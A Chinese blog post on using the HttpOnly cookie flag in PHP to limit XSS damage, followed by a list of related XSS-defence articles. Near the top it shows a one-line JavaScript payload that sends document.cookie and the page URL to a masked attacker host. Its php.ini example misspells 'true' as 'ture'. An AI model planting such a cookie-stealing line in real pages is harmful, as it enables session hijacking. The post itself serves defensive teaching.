利用HttpOnly来防御xss攻击

xss的概念就不用多说了，它的危害是极大的，这就意味着一旦你的站点出现xss漏洞，就能够运行随意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持，假设这里面包括了大量敏感信息（身份信息，管理员信息）等，那完了。。。

例如以下js获取cookie信息：

    　url=document.top.location.href;cookie=document.cookie;c=new Image();c.src=’http://www.******.com/c.php?c=’+cookie+’&u=’+url;

一般cookie都是从document对象中获取的，如今浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的參数，跟domain等其它參数一样，一旦这个HttpOnly被设置，你在浏览器的document对象中就看不到Cookie了。
PHP设置HttpOnly：

//在php.ini中，session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);
//或者setcookie()的第七个參数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1曾经版本号的PHP通过：

header("Set-Cookie: hidden=value; httpOnly");

最后，HttpOnly不是万能的！

利用HttpOnly来防御xss攻击相关推荐

如何防止通过url攻击_什么是XSS攻击？如何防御XSS攻击？
大家上午好,大家经常听到XSS攻击这个词,那么XSS攻击到底是什么,以及如何防御大家清楚么?今天,小墨就给大家讲一下:XSS攻击的定义.类型以及防御方法.什么是XSS攻击? XSS攻击全称跨站脚本攻击 ...
浅谈如何防御xss攻击
笔前闲聊最近都在写一些防守型文章,是因为笔者在最近的学习当中发现一些当初以攻击者角度学习的知识在某些特殊的场合下会表现的有点不够全面,总是感觉某些知识点联系不在一起,所以最近总是写一些防御型文章来把 ...
了解与防御XSS攻击
一. XSS是什么 XSS攻击全称跨站脚本攻击(Cross Site Scripting),是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写 ...
post攻击 xxs_如何正确防御xss攻击
展开全部传统防御技术 2.1.1基于特征的防御传统XSS防御多采用特征匹配方32313133353236313431303231363533e78988e69d8331333366303830式, ...
php+防御+xss,PHP防御XSS攻击
XSS即跨站脚本工具例如我在你的评论上写了然后很有可能就会弹出楼主傻逼了,当然这只是恶作剧,但要是别人在你的获取cookie就很严重了,如下通过这种方式,你的所有cookie就会被发送到对应的网 ...
利用html编码进行xss攻击
脆弱性测试的时候,发现了一处输出没有做编码转换,但由于开启了magic_quote_gpc,导致提交的数据中,' "都被转义,最后导致输出的地方不能执行恶意js. 如下: 提交的恶意数据为 ...
服务器安全：浏览器同源策略与跨域请求、XSS攻击原理及防御策略、如何防御CSRF攻击
主要包括浏览器同源策略与跨域请求 XSS攻击原理及防御策略如何使用SpringSecurity防御CSRF攻击 CC/DDOS攻击与流量攻击什么是SSL TLS HTTPS? 一.浏览器的同源策 ...
解决SQL注入与XSS攻击
最近接手之前同事的几个项目,公司利用扫描工具进行全项目扫描,发现了部分项目代码存在安全漏洞,所以需要进行项目代码修复以避免有人恶意攻击.这个任务自然而然的就落到我手上.在这里记录一下操作的过程. 扫描 ...
面试问题如何预防xss攻击
1. XSS攻击原理 XSS原称为CSS(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以改称为XSS(X一般有未知的含义,还有扩 ...
前端Hack之XSS攻击个人学习笔记
简单概述 ** 此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

利用HttpOnly来防御xss攻击

利用HttpOnly来防御xss攻击相关推荐

最新文章

热门文章